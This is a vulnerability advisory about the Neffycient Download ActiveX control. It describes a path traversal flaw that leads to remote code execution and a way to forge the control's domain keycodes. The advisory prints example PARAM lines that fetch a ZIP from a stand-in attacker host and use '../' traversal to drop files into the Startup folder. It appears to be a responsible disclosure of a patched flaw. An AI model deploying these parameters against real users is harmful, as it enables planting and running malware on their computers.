Description:
Neffycient Download is a ActiveX control used to download and to upgrade
such as game install files through HTTP, FTP, etc. It has two
vulnerabilities.
1st, a attacker can copy a malicious file to any path such as start program
folder(C:\Documents and Settings\All Users\Start Menu\Programs\Startup).
2nd, a attacker can issue keycodes which are used to restrict execution on
other domains.

Object:
I notify this vulnerability not to promote abnormal uses but to make
a software more secure. This vulnerability was patched by the vendor's
positive effort. I hope this information helps many people who try
to study security and to develop an application.

1. Remote Code Execution
First of all, we must have write permission on a board in a web site used
this ActiveX or obtain a valid keycode which is correct to your site.
An Attacker who has a valid keycode can make a expolit by modifying
HttpSkin,
SkinPath's values. Malicious files which is on attacker's site must
be compressed as ZIP file.
For instance. The below modification copies abnormal files to Windows's
root directory.
<PARAM NAME="HttpSkin" VALUE="http://www.attacker.com/maliciousFiles.zip&quot;>
<PARAM NAME="SkinPath" VALUE="../../../../">

In this way an attacker can modify SkinPath's value to All Users's Start
Program Folder. Then he can execute his malicious program when the user
restarts his computer.

2. Generating a KeyCode Value
An attacker can make the keycode generator by debugging this ActiveX
control. A keycode's value has two meaning. First two digits represent
the domain's length(hexadecimal).
Next five(or more) digits are valuable numbers to calculate a domain.
The keycode check the procedure of this ActiveX control likes below.
It calculates the keycode's value and returns four bytes as a result.
Next it starts the domain's calculation and returns four bytes.
Finally, it compares with these four bytes to check whether the site is
valid.
I made a PoC using inline assembly and C. But it doesn't open to the public
because of the vendor's request. (Just refer above descriptions.)